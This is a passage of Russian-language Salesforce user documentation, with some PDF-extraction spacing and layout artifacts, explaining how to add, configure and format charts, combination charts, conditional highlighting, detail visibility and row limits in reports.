данные типы отчетов, настройте стандартные отчеты, доступные в папках на вкладке «Отчеты».

СМ. ТАКЖЕ:

Выбор типа отчета

Изменение основного типа отчета

Объединение разных типов данных в составном отчете

Типы стандартных отчетов
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Графическое отображение данных отчета
Диаграммы, используемые для отображения данных отчета, позволяют ускорить процесс их восприятия. Диаграммы
отображаются прямо над таблицей отчета. Благодаря диаграммам, пользователи могут получать общее представление
оботчетахбез детализацииихданных. Рекомендуемиспользоватьлинейныедиаграммыдляотслеживаниядинамический
изменений, а горизонтальныеилисекторныедиаграммыдлясопоставлениязначенийнаопределенныймоментвремени.
При необходимости диаграммы могут просматриваться в компонентах панели мониторинга.

1. Добавление диаграммы в отчет
Диаграмма, добавленная в отчет, позволяет пользователям получить визуальное представление данных.

2. Свойства диаграммы
Диаграммаможетбытьдобавленавлюбойстандартныйилинастраиваемыйсводныйилиматричныйотчет. Свойства
диаграммы определяют данные, которые должны отображаться в диаграмме, их метки и цвета, а также любое
применяемое условное выделение.

3. Эффективное представление данных посредством диаграмм
Некоторые компоненты (например, отрицательные значения, слишком большие или малые числа, настраиваемые
формулы резюмирования и параметры безопасности поля) могут влиять на внешний вид диаграмм, добавляемых в
отчет. Изменение формата отчета, группировок и блоков также влияет на внешний вид диаграмм.

4. Отображение разных наборов данных в одной диаграмме
Комбинированнаядиаграммапозволяетразмещатьнескольконаборовданныхнаоднойдиаграмме.Каждыйнаборданные
опираетсянаотдельноеполе, гарантируяудобноесопоставлениезначений. Принеобходимостиразныетипыдиаграмм
могут быть объединены в одну диаграмму для многоцелевого просмотра данных.

5. Примеры комбинированных диаграмм
Комбинированнаядиаграммаподдерживаетотображениенескольких значенийотносительноодногодиапазонаоси,
одновременный просмотр двух типов диаграмм или сопоставление двух непрерывных суммарных значений.

6. Параметрыформатирования диаграммы

СМ. ТАКЖЕ:

Эффективное представление данных посредством диаграмм

Добавление диаграммы в отчет

Свойства диаграммы

Примеры комбинированных диаграмм

Отображение разных наборов данных в одной диаграмме
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Добавление диаграммы в отчет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Диаграмма, добавленная в отчет, позволяет пользователям получить визуальное
представление данных.

Прим.: Прежде чем добавить диаграмму, убедитесь, что отчет содержит как
минимум одну группировку.

Чтобы добавить или изменить диаграмму, выполните указанные ниже действия.

1. Нажмите кнопку «Добавить диаграмму» в конструкторе отчетов. Для готовых
диаграмм нажмите кнопку «Редактировать диаграмму».

2. Выберите тип диаграммы.

3. Настройте нужные параметры на вкладке «Данные диаграммы».

4. Настройте нужные параметры на вкладке «Форматирование».

5. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Эффективное представление данных посредством диаграмм

Создание отчета

Свойства диаграммы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

Диаграмма может быть добавлена в любой стандартный или настраиваемый сводный
или матричный отчет. Свойства диаграммы определяют данные, которые должны
отображаться в диаграмме, их метки и цвета, а также любое применяемое условное
выделение.

Прим.: Данный раздел актуален только в том случае, если не используется
конструктор отчетов. Конструктор отчетов — это экранный редактор отчетов.

Чтобы настроить свойства диаграммы, нажмите кнопку «Добавить диаграмму» или
щелкнитессылку«Редактироватьдиаграмму»влюбомматричномилисводномотчете
и заполните поля на вкладках «Данные диаграммы» и «Форматирование».

Ограничения, рекомендацииисоветысм. вразделе «Эффективноепредставлениеданных
посредством диаграмм» на странице 4123.

Параметры данных диаграммы

Нижеперечисленыпараметры, которыеопределяютданные, отображаемыевдиаграмме.

ОписаниеПоле

Выберите тип диаграммы, используемый для отображения
данных отчета. Выбранный тип диаграммы определяет
свойства диаграммы, доступные для настройки.

Тип диаграммы

Выберите значения для отображения на осях диаграммы. В
зависимости от типа диаграммы, значения оси могут быть

Ось X и Ось Y
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ОписаниеПоле

представлены количеством записей, полями резюмирования или группировками,
заданными в отчете.

Прим.: Если ось Y соответствует настраиваемойформуле резюмирования,
для параметра «Место отображения данной формулы» которой выбран
любой другой уровень группировки, кроме значения «Все уровни
резюмирования», то значения оси Х и параметра «Группировки» должны
соответствовать уровню группировки этой настраиваемойформулы
резюмирования.

Чтобыдобавитьдополнительные значения в диаграмму, установитеданныйфлажок.
Выбранный тип диаграммы должен поддерживать комбинированные диаграммы.

Комбинированная диаграмма

Выберите способ группированияданныхнадиаграмме. Системапозволяет выбирать
только группировки, заданные в отчете. Чтобы выбрать способ отображения

Группировки

группировок в горизонтальных или вертикальных диаграммах, щелкните
соответствующий значок: «групповая», «ярусная» или «ярусная, с заполнением до
100%». Прииспользованиилинейныхдиаграммустановитефлажок «С накоплением».

Выберите данные для отображения в качестве значений секторной, круговой или
конической диаграммы.

Значения

Выберите данные для отображения в качестве сегментов секторной или круговой
диаграммы.

Сектора

Выберите данные для отображения в качестве сегментов конической диаграммы.Сегменты

Презентация диаграммы

Ниже перечислены параметры, позволяющие контролировать внешний вид и алгоритм диаграммы.

ОписаниеПоле

Введите имя диаграммы.Заголовок диаграммы

Выберите цвет для заголовка диаграммы.Цвет заголовка

Выберите размер шрифта для заголовка диаграммы. Максимально допустимый размер —
18. При выборе большего значения размер текста все равно будет 18.

Размер заголовка

Выберите цвет для любого текста и меток диаграммы.Цвет текста

Выберите размершрифта для любого текста иметок диаграммы. Максимально допустимый
размер — 18. При выборе большего значения размер текста все равно будет 18.

Размер текста

Выберите направление градиента фона. При необходимости заполните поля «Начальный
цвет» и «Конечный цвет» для градиента. Чтобы отменить цветовой переход, выберите
белый цвет в обоих полях.

Обесцвечивание фона

Выберите область отображения условных обозначений относительно диаграммы.Размещение условных
обозначений
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ОписаниеПоле

Объединитевсе группы, общаядолякоторыхнепревышает 3% в секторилисегмент «Другое».
Чтобыотображатьвсезначениядиаграммыпоотдельности, снимитеданныйфлажок. Данный

Объединить малые
группы в сектор
«Другое» параметр применяется только к секторным, круговым и коническим диаграммам. Данный

параметр включен по умолчанию для секторных и круговых диаграмм, но выключен для
конических диаграмм.

Выберите ручное или автоматическое определение диапазона оси для горизонтальной,
линейной или вертикальной диаграммы. При ручном определении введите числа,

Диапазон оси X

(Диапазон оси Y)
соответствующие минимальному и максимальному значениям оси. При наличии точек
данных вне заданного диапазона ось автоматически расширяется для добавления данных
значений при создании диаграммы.

Отображение меток всех осей диаграммы. Данный параметр применяется только к
горизонтальным и линейным диаграммам.

Показать метки оси

Отображение меток для секторной, круговой или конической диаграммы.Показать метки

Отображение процентного значения для каждой группы диаграммы.Показать группу (в %)

Отображение значений отдельных записей или групп на оси диаграммы. Данный параметр
применяется только к некоторым горизонтальным и вертикальным диаграммам.

Показать значения по
оси Х (Показать
значения по оси Y)

Отображение значений отдельных записей или групп в диаграмме. Данный параметр
применяется только к некоторым типам диаграмм.

Показать значения

Отображение процентного значения для каждого сегмента секторной или круговой
диаграммы.

Показать сектор (в %)

Отображение итогового значения круговой диаграммы.Показать итого

Отображение процентного значения для каждого сегмента конической диаграммы.Показать сегмент (в %)

Отображение значений, меток и процентов при наведении указателя мыши на диаграммы.
Всплывающие сведения определяются типом диаграммы. Проценты применяются только

Показать всплывающие
сведения

ксекторным, круговымиконическимдиаграммам. Всплывающиесведениянеподдерживаются
при просмотре диаграмм, содержащих более 200 точек данных.

Выберите размер диаграммы: от крошечного до огромного.Размер диаграммы

Разместите диаграмму над или под отчетом.Положение диаграммы

Условное выделение

Сводные и матричные отчеты позволяют выделять значения полей на основе заданных диапазонов и цветов. Функция
условного выделения доступна в отчетах, которые содержат как минимумоднополе резюмированияилинастраиваемую
формулу резюмирования.

ОписаниеПоле

Выберите поле резюмирования, диапазонычисел которого должныбыть выделеныцветом.Сводка
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ОписаниеПоле

Выберите цвет для отображения данных, предшествующих значению поля «Нижняя
контрольная точка».

Цвет нижнего диапазона

Число, являющееся пороговым значением между полями «Цвет нижнего диапазона» и
«Цвет среднего диапазона». Значения, соответствующие значению поля «Нижняя
контрольная точка», отображаютсяцветом, выбраннымвполе «Цвет среднего диапазона».

Нижняя контрольная
точка

Выберитецветдляотображенияданных, расположенныхмежду значениямиполей «Нижняя
контрольная точка» и «Верхняя контрольная точка».

Цвет среднего диапазона

Число, являющееся пороговым значением между полями «Цвет среднего диапазона» и
«Цвет верхнего диапазона». Значения, соответствующие значению поля «Верхняя
контрольная точка», отображаютсяцветом, выбраннымвполе «Цвет верхнего диапазона».

Верхняя контрольная
точка

Выберитецветдляотображенияданных, следующихзазначениемполя «Верхняя контрольная
точка».

Цвет верхнего диапазона

СМ. ТАКЖЕ:

Настройка отчетов

Эффективное представление данных посредством диаграмм

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Некоторые компоненты (например, отрицательные значения, слишком большие или
малыечисла, настраиваемыеформулырезюмированияипараметрыбезопасностиполя)
могутвлиятьнавнешнийвиддиаграмм, добавляемыхвотчет. Изменениеформатаотчета,
группировок и блоков также влияет на внешний вид диаграмм.

• В диаграмме может использоваться не более 250 групп или 4 000 значений. В случае
отображениясообщенияобошибке, уведомляющегооналичиислишкомбольшого
количества групп или значений, задайте фильтры отчета, чтобы уменьшить это
количество. В комбинированных диаграммах учитываются все группы и значения.

• Еслиполе, используемоев диаграмме, становитсянедоступным, то взаменэтогополя
может использоваться любое другое поле. Если остальные поля также недоступны,
то указывается количество записей.

• Позициядесятичнойзапятойвдиаграммахнеподлежитнастройке. Числовыезначенияизначениявалютыокругляются
до двух знаков после запятой. Процентные значения округляются до одного знака после запятой.

• Дляслишкомбольшихилислишкоммалыхзначенийиспользуетсяэкспоненциальноепредставлениечисел. Например,
число 5 750 000 000 отображается как 5,75E9; а число -0,0000000061 отображается как -6,1E-9.

• Отрицательные значенияотображаются во всех линейныхдиаграммах, а также в тех горизонтальныхи вертикальных
диаграммах, которые не имеют ярусов. Секторная, круговая, коническая и ярусная диаграммы не поддерживают
отображениеотрицательныхзначений. Группировки, содержащиеотрицательныезначения, отображаютсявусловных
обозначениях, тогда как сами отрицательные значения отражаются в расчетах всех итоговых значений, включая
итоговые значения для круговых диаграмм.

• При создании диаграмм не рекомендуем сначала группировать по полю дочернего объекта, а затем суммировать по
полю родительского объекта. Эти действия могут привести к получению неточных результатов. Например, при
использовании круговой диаграммы итоговое значение может не соответствовать сумме значений всех ее секторов.
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• Диаграммы отчетов и панелей мониторинга, содержащие значения из настраиваемых формул резюмирования,
отображают знаки после запятой с помощью параметра валюты по умолчанию, вместо значения, указанного для
формулы. Например, если количество десятичных знаков в формуле резюмирования равно нулю, то десятичные
знаки не отображаются в столбцах, однако значения диаграммы содержат десятичные знаки, заданные для валюты
по умолчанию (обычно два десятичных знака). Данное правило применяется к валютам, числам и процентам.

• При использовании составных отчетов имена полей резюмирования содержат имена полей и блоков. Например,
поле «Стоимость», резюмированное в блоке 1, отображается в редакторе диаграмм следующим образом: «Блок 1

- Сумма Стоимость». Кросс-блок или стандартная формула настраиваемого резюмирования содержит имя блока
в том случае, если формула добавляется в несколько блоков.

• В таблице ниже описаны действия, выполняемые в случае изменения формата отчета, содержащего диаграмму, или
удаления блоков, группировок и полей резюмирования.

Результат...Изменение...

Все диаграммы удаляются из отчета.Изменениесводного, матричногоили
составного отчета на табличный

Первая группировкасводногоотчета становитсяпервойгруппировкойстрок.
Вторая группировка становится первой группировкой столбцов. Третья
группировка становится второй группировкойстрок. Диаграмманеменяется.

Изменение сводного отчета на
матричный

Первая группировкастрокстановитсяпервойгруппировкойсводногоотчета.
Вторая группировкастрокстановитсятретьей группировкойсводногоотчета.

Изменение матричного отчета на
сводный

Первая группировка столбцов становится второй группировкой сводного
отчета. Втораягруппировкастолбцовудаляется. Втораягруппировкастолбцов,
используемая в диаграмме, заменяется первым доступным полем
резюмирования, которое больше не используется в диаграмме.

Текущий отчет становится первым блоком, а диаграмма остается в отчете.

Вторая группировка столбцов, используемая вматричномотчете, заменяется
первымдоступнымполемрезюмирования, котороебольшенеиспользуется
в диаграмме.

Изменениесводногоилиматричного
отчета на составной

Группировка поля области, добавленная в сводный или матричный отчет,
заменяется следующей доступной группировкой, которая больше не
используется в диаграмме.

Первый блок становится отчетом, а группировки и диаграмма не меняются.
Поля резюмирования первого блока, добавленные в диаграмму составного

Изменение составного отчета на
сводный или матричный

отчета, остаются в диаграмме сводного отчета. Поля резюмирования,
доступные в других блоках, удаляются из диаграммы.

Поле резюмирования заменяется следующим доступным полем
резюмирования. Если дополнительные поля резюмирования недоступны,

Удаление блока, содержащего поле
резюмирования, изсоставногоотчета

то исходное поле заменяется количеством записей из первого оставшегося
блока. Удаление всех блоков отчета приводит к удалениюцелой диаграммы.

Группировка заменяется следующей доступной группировкой. Удаление
всех группировок приводит к удалению целой диаграммы. Обратите

Удалениегруппировки, используемой
в отчете

внимание, что группировки могут быть удалены автоматически в результате
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Результат...Изменение...

добавления типа отчета в составной отчет или отмены доступа к полю
(например, при применении параметров безопасности полей).

Поле резюмирования заменяется следующим доступным полем
резюмирования. Если дополнительные поля резюмирования недоступны,

Удаление поля резюмирования,
используемого в диаграмме (включая

то поле заменяется количеством записей для отчета или первого блока.настраиваемые поля и поля
резюмирования кросс-блока) Обратите внимание, что поля резюмирования могут быть удалены

автоматически (например, приприменениипараметровбезопасностиполей
или измененииформата отчета).

СМ. ТАКЖЕ:

Добавление диаграммы в отчет

Параметрыформатирования диаграммы

Отображение разных наборов данных в одной диаграмме

Отображение разных наборов данных в одной диаграмме

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Комбинированная диаграмма позволяет размещать несколько наборов данных на одной
диаграмме. Каждый набор данные опирается на отдельное поле, гарантируя удобное
сопоставление значений. При необходимости разные типы диаграмм могут быть
объединены в одну диаграмму для многоцелевого просмотра данных.

Ниже перечислены действия, доступные в комбинированных диаграммах.

• Добавление линии в текущую линейную, вертикальную, вертикальную групповую
или вертикальную ярусную диаграмму.

• Добавление сводной строки в текущую линейную диаграмму с накоплением.

• Добавление столбцов (не более трех) в вертикальную гистограмму.

• Добавление строк (не более трех) в горизонтальную линейчатую диаграмму.

Например, менеджерам по продажам может быть доступна диаграмма, позволяющая
просматривать параметр «Ожидаемые продажи: стоимость» в виде линии, а параметр
«Количество открытых сделок» в виде столбцов.

1. Измените диаграмму для любого сводного или матричного отчета, либо измените
компонент панели мониторинга, отображающий сводный или матричный отчет.

2. Выберите тип диаграммы, поддерживающий комбинированные диаграммы.

• Горизонтальная диаграмма

• Вертикальная диаграмма

• Групповая вертикальная диаграмма

• Ярусная вертикальная диаграмма

• Линейная диаграмма

• Линейная диаграмма с накоплением
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3. Установите флажок «Добавить дополнительные значения». Область предварительного просмотра диаграммы
обновляется по мере настройки комбинированной диаграммы.

4. Чтобы составить диаграмму, выберите «Значение».

5. Выберите нужное значение в раскрывающемся списке «Отображение». Доступные параметры определяются типом
используемой диаграммы, а также редактируемой областью (диаграмма или компонент панели мониторинга).

• Чтобы добавить строки или столбцы (не более трех), щелкните ссылку «Добавить строку» или «Добавить
столбец».

• Чтобы показать отдельную ось для добавленной линии в правой части вертикальной диаграммы, установите
флажок«Использоватьвторуюось»придобавлениилинииввертикальнуюдиаграмму. Рекомендуемиспользовать
отдельную ось при наличии двух значений, принадлежащих разным диапазонам или единицам измерения.

Прим.: Флажок «Использовать вторую ось» дополняет раскрывающийся список «Значение» другими
значениями. Если данный параметр не выбран, то система позволяет выбирать только из значений того же
типа, чтоиосновнаяось Y (например, число, валютаилипроцент). Данныйпараметрподдерживается только
некоторыми комбинированными диаграммами.

6. По завершении нажмите кнопку «Запустить отчет» или «Сохранить».

Прим.:

• Поле, используемое в диаграмме и ставшее недоступным, может быть заменено другим полем. При отсутствии
других доступных полей используется количество записей.

• Обе оси X и Y не должны быть установлены на «Авто». Если установка будет стоять на «Авто», вы не сможете
составить диаграмму.

• Отфильтрованная детализация не поддерживается комбинированнымидиаграммамина панеляхмониторинга.

СМ. ТАКЖЕ:

Добавление диаграммы в отчет

Примеры комбинированных диаграмм

Примеры комбинированных диаграмм

Комбинированная диаграмма поддерживает отображение нескольких значений относительно одного диапазона оси,
одновременный просмотр двух типов диаграмм или сопоставление двух непрерывных суммарных значений.

Комбинированная диаграмма позволяет размещать несколько наборов данных на одной диаграмме.

Столбец в вертикальную диаграмму
Добавьте столбцыввертикальнуюдиаграммудляотображениянескольких значенийотносительноодногодиапазона
оси.

Чтобы создать диаграмму для данного примера, выберите тип диаграммы «Вертикальная диаграмма» и назначьте
полю «Ось Y» значение «Стоимость: сумма», а полю «Ось Х» значение «Этап». Чтобы добавить стоимость
ожидаемого дохода в виде столбца, установите флажок «Добавить дополнительные значения».

Пользователь может быстро сравнить текущие значения относительно ожидаемых значений для каждого этапа.
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Линия в вертикальную диаграмму
Добавьте линиюв вертикальнуюдиаграмму для одновременного отображения двух типов диаграмм. Использование
второй оси позволяет дополнять диаграмму разными типами значений.

Чтобы создать диаграмму для данного примера, выберите тип диаграммы «Вертикальная диаграмма» и назначьте
полю «Ось Y» значение «Стоимость: сумма», а полю «Ось Х» значение «Финансовый год». Чтобы добавить
количество сделок в виделинии, установитефлажок «Добавитьдополнительныезначения». Суммарные значения
разных типов доступны в раскрывающемся списке «Значения» только после установки флажка «Использовать
вторую ось».

Пользователь может просмотреть общую стоимость и количество сделок для каждого года на одной диаграмме.

Линия в линейную диаграмму
Добавьте линию в линейную диаграмму для сравнения двух непрерывных суммарных значений.

Чтобы создать диаграмму для данного примера, настройте настраиваемуюформулу резюмирования для вычисления
трехнедельного скользящего среднего значения стоимостей возможностей, выберите тип диаграммы «Линейная
диаграмма» и назначьте полю «Ось Y» значение «Стоимость: сумма», а полю «Ось Х» значение «Дата». Чтобы
добавить вычисленное трехнедельное скользящее среднее значение в виде линии, установите флажок «Добавить
дополнительные значения».

Пользователь может сравнить динамику продаж относительно скользящего среднего значения.
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Ниже приведена настраиваемая формула резюмирования, используемая в данном примере.

(OppProductTrends__c.Amount__c:SUM+ PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c) + PREVGROUPVAL(OppProductTrends__c.Amount__c:SUM,
OppProductTrends__c.as_of_date__c,2))/3

СМ. ТАКЖЕ:

Отображение разных наборов данных в одной диаграмме

Параметры форматирования диаграммы

Ниже перечислены параметры, позволяющие контролировать внешний вид и алгоритм диаграммы.

ОписаниеПоле

Введите имя диаграммы.Заголовок диаграммы

Выберите цвет для заголовка диаграммы.Цвет заголовка

Выберите размер шрифта для заголовка диаграммы. Максимально допустимый размер —
18. При выборе большего значения размер текста все равно будет 18.

Размер заголовка

Выберите цвет для любого текста и меток диаграммы.Цвет текста

Выберите размершрифта для любого текста иметок диаграммы. Максимально допустимый
размер — 18. При выборе большего значения размер текста все равно будет 18.

Размер текста

Выберите направление градиента фона. При необходимости заполните поля «Начальный
цвет» и «Конечный цвет» для градиента. Чтобы отменить цветовой переход, выберите
белый цвет в обоих полях.

Обесцвечивание фона

Выберите область отображения условных обозначений относительно диаграммы.Размещение условных
обозначений

Объединитевсе группы, общаядолякоторыхнепревышает 3% в секторилисегмент «Другое».
Чтобыотображатьвсезначениядиаграммыпоотдельности, снимитеданныйфлажок. Данный

Объединить малые
группы в сектор
«Другое» параметр применяется только к секторным, круговым и коническим диаграммам. Данный
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ОписаниеПоле

параметр включен по умолчанию для секторных и круговых диаграмм, но выключен для
конических диаграмм.

Выберите ручное или автоматическое определение диапазона оси для горизонтальной,
линейной или вертикальной диаграммы. При ручном определении введите числа,

Диапазон оси X

(Диапазон оси Y)
соответствующие минимальному и максимальному значениям оси. При наличии точек
данных вне заданного диапазона ось автоматически расширяется для добавления данных
значений при создании диаграммы.

Отображение меток всех осей диаграммы. Данный параметр применяется только к
горизонтальным и линейным диаграммам.

Показать метки оси

Отображение меток для секторной, круговой или конической диаграммы.Показать метки

Отображение процентного значения для каждой группы диаграммы.Показать группу (в %)

Отображение значений отдельных записей или групп на оси диаграммы. Данный параметр
применяется только к некоторым горизонтальным и вертикальным диаграммам.

Показать значения по
оси Х (Показать
значения по оси Y)

Отображение значений отдельных записей или групп в диаграмме. Данный параметр
применяется только к некоторым типам диаграмм.

Показать значения

Отображение процентного значения для каждого сегмента секторной или круговой
диаграммы.

Показать сектор (в %)

Отображение итогового значения круговой диаграммы.Показать итого

Отображение процентного значения для каждого сегмента конической диаграммы.Показать сегмент (в %)

Отображение значений, меток и процентов при наведении указателя мыши на диаграммы.
Всплывающие сведения определяются типом диаграммы. Проценты применяются только

Показать всплывающие
сведения

ксекторным, круговымиконическимдиаграммам. Всплывающиесведениянеподдерживаются
при просмотре диаграмм, содержащих более 200 точек данных.

Выберите размер диаграммы: от крошечного до огромного.Размер диаграммы

Разместите диаграмму над или под отчетом.Положение диаграммы

СМ. ТАКЖЕ:

Добавление диаграммы в отчет

Отображение данных отчета в таблицах
Таблицы позволяют скрывать некоторые сведения и диапазоны, ограничивать количество отображаемых результатов и
использовать цветовые выделения, предоставляя пользователям возможности более удобного просмотра данных. При
необходимости таблицы могут просматриваться в компонентах панели мониторинга.
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1. Отображение и скрытие сведений об отчете
Чтобы отобразить или скрыть сведения об отчете, воспользуйтесь страницей запуска отчета или конструктором
отчетов. Функция скрытия сведений позволяет не отображать отдельные записи отчета. Группировки, формулы
резюмирования и количества записей не могут быть скрыты.

2. Выделение диапазонов данных
Сводныеиматричныеотчетыпозволяютвыделять значенияполейнаоснове заданныхдиапазоновицветов. Функция
условноговыделениядоступнавотчетах, которыесодержаткакминимумоднополерезюмированияилинастраиваемую
формулу резюмирования.

3. Использование табличного отчета на панели мониторинга
Табличный отчет с ограниченным количеством отображаемых строк может использоваться в качестве исходного
отчета для диаграммы или таблицы панели мониторинга.

4. Ограничение результатов отчета
Ограничения области отчета позволяютизбегать обработки слишкомбольшого количества записей. Оптимальный
способ ограничения результатов отчета определяется используемым объектом.

СМ. ТАКЖЕ:

Выделение диапазонов данных

Ограничение результатов отчета

Отображение и скрытие сведений об отчете

Использование табличного отчета на панели мониторинга

Отображение и скрытие сведений об отчете

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы отобразить или скрыть сведения об отчете, воспользуйтесь страницей запуска
отчетаиликонструкторомотчетов. Функцияскрытия сведенийпозволяетнеотображать
отдельныезаписиотчета. Группировки, формулырезюмированияиколичества записей
не могут быть скрыты.

• Чтобы скрыть отдельные записи, нажмите кнопку «Скрыть сведения» на странице
запускаотчета. Чтобыотобразитьвсе записи, нажмитекнопку«Показатьсведения».

• Нажмите кнопку «Показать» > «Сведения» в конструкторе отчетов. Флажок,
установленный напротив элемента меню «Сведения», указывает на отображение
сведений. Чтобы отобразить или скрыть записи, установите или снимите флажок
«Сведения».

СМ. ТАКЖЕ:

Отображение и скрытие количества записей для блока

Создание отчета

Объединение разных типов данных в составном отчете
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Выделение диапазонов данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Сводные и матричные отчеты позволяют выделять значения полей на основе заданных
диапазоновицветов. Функцияусловноговыделениядоступнавотчетах, которыесодержат
как минимум одно поле резюмирования или настраиваемуюформулу резюмирования.

Чтобы настроить функцию условного выделения, последовательно выберите
«Показать» > «Условноевыделение» в конструктореотчетов, а затемукажите значения
контрольных точек и цвета диапазонов.

ОписаниеПоле

Выберитеполерезюмирования, диапазонычиселкоторогодолжны
быть выделены цветом.

Сводка

Выберите цвет для отображения данных, предшествующих
значению поля «Нижняя контрольная точка».

Цвет нижнего
диапазона

Число, являющееся пороговым значением между полями «Цвет
нижнего диапазона» и «Цвет среднего диапазона». Значения,
соответствующие значению поля «Нижняя контрольная точка»,
отображаются цветом, выбранным в поле «Цвет среднего
диапазона».

Нижняя
контрольная
точка

Выберите цвет для отображения данных, расположенных между
значениями полей «Нижняя контрольная точка» и «Верхняя
контрольная точка».

Цвет среднего
диапазона

Число, являющееся пороговым значением между полями «Цвет
среднего диапазона» и «Цвет верхнего диапазона». Значения,

Верхняя
контрольная
точка соответствующие значениюполя «Верхняя контрольная точка»,

отображаются цветом, выбранным в поле «Цвет верхнего
диапазона».

Выберитецвет дляотображенияданных, следующихза значением
поля «Верхняя контрольная точка».

Цвет верхнего
диапазона

СМ. ТАКЖЕ:

Создание отчета
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Использование табличного отчета на панели мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Табличный отчет с ограниченным количеством отображаемых строк может
использоваться в качестве исходного отчета для диаграммы или таблицы панели
мониторинга.

1. Последовательно выберите «Добавить» > «Ограничение строк».

2. Вполе «Ограничение строк» выберитезначение «10», «25» или «Настраиваемый».
При выборе значения «Настраиваемый» рекомендуем ввести число от 1 до 99.

3. Выберите значение в раскрывающемся списке «Сортировать по» и порядок
сортировки. Данные параметры задаются автоматически в том случае, если
пользовательвыбираетпункт«Ограничитьстрокипоэтомуполю»вменюстолбца.

4. Нажмите кнопку «OK».

5. Нажмите кнопку «Параметры панели мониторинга» на панели инструментов.

6. Заполните поля «Имя» и «Значение» для использования в таблицах и диаграммах
панелимониторинга. Втаблицахотображается какимя, таки значение. Вдиаграммах
отображается только имя.

7. Нажмите кнопку «OK». Теперь табличный отчет может использоваться в качестве
исходного отчета для компонента панели мониторинга.

Совет: Чтобы переопределить параметры, заданные в разделе «Параметры
панели мониторинга» при создании компонента панели мониторинга для
отображения табличного отчета, воспользуйтесь редактором компонентов
панели мониторинга.

Ограничение результатов отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Ограничения области отчета позволяют избегать обработки слишком большого
количества записей. Оптимальныйспособограничениярезультатовотчетаопределяется
используемым объектом.

• Чтобыпросмотреть свернутоепредставлениеотчета, содержащее только заголовки,
общуюипромежуточныесуммы, снимитефлажок, доступныйприпоследовательном
выборе пунктов «Показать» > «Сведения» в конструкторе отчетов.

Нажмитекнопку«Скрытьсведения»или«Показатьсведения»настраницезапуска
отчета.

• Чтобы выполнитьфильтрациюпо полю, нажмите кнопку «Добавить» > «Фильтр
поля». Чтобы добавить фильтр табличного, сводного или матричного отчета,
перетащите нужное поле с панели «Поля» на панель «Фильтры».

• Cross filters work like ordinary filters, but they have some special characteristics of their own.
Чтобы добавить кросс-фильтр, нажмите кнопку «Добавить» > «Кросс-фильтр».

• В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition ссылки «Иерархия»позволяютпросматриватьрезультатыотчетов
на основе иерархий ролей или территорий.

• Если организация использует подразделения для сегментирования данных, а
пользователю предоставлено полномочие «В зависимости от подразделений», то
раскрывающийся список «Подразделение» может использоваться для добавления
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записей одного или всех подразделений. Чтобы просмотреть записи текущего рабочего подразделения, выберите
значение «--Текущее--». Отчеты, область которых ужеопределена (например, «Моиобращения» или «Организации
моей рабочей группы»), содержат записи всех подразделений и не могут быть дополнительно отфильтрованы по
конкретному подразделению. Если полномочие «В зависимости от подразделений» отсутствует, то отчеты содержат
записи всех подразделений.

• Чтобы задать максимальное количество записей для отображения в табличном отчете, последовательно выберите
«Добавить» > «Ограничениестрок»вконструктореотчетов. Выберитенужноеколичествострок, поледлясортировки
и порядок сортировки. Ограничение строк табличного отчета позволяет использовать отчет в качестве исходного
для диаграммы или таблицы панели мониторинга.

Параметр табличных отчетов «Ограничение строк» отображает только поля основного объекта для отчетов,
созданных на основе типов настраиваемых отчетов, где объект А может иметь или не иметь объект Б. Например,
отчет по организациям с контактами или без контактов отображает только поля организаций. Поля объектов после
взаимосвязи «с или без» для типов настраиваемых отчетов не отображаются. Например, отчет «Организации с
контактами с или без обращений» отображает только поля организаций и контактов.Изменение формата отчета
инициирует удаление параметров «Ограничение строк».

Прим.: Фильтрация охватывает только первые 255 символов настраиваемого текстового поля.Например, если
добавленныйфильтр поля используется для поиска возможностей, содержащих слово «телефон» в настраиваемом
текстовом поле «Примечания клиента», то записи, где слово «телефон» доступно после 255-го символа, не
отображаются. Фильтрация по стандартным текстовым полям охватывает все символы, независимо от длины поля.

СМ. ТАКЖЕ:

Страница запуска отчета

Пример. Составление отчетов по связанным объектам с кросс-фильтрами

Составление отчетов по данным Salesforce посредством приложения Excel

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
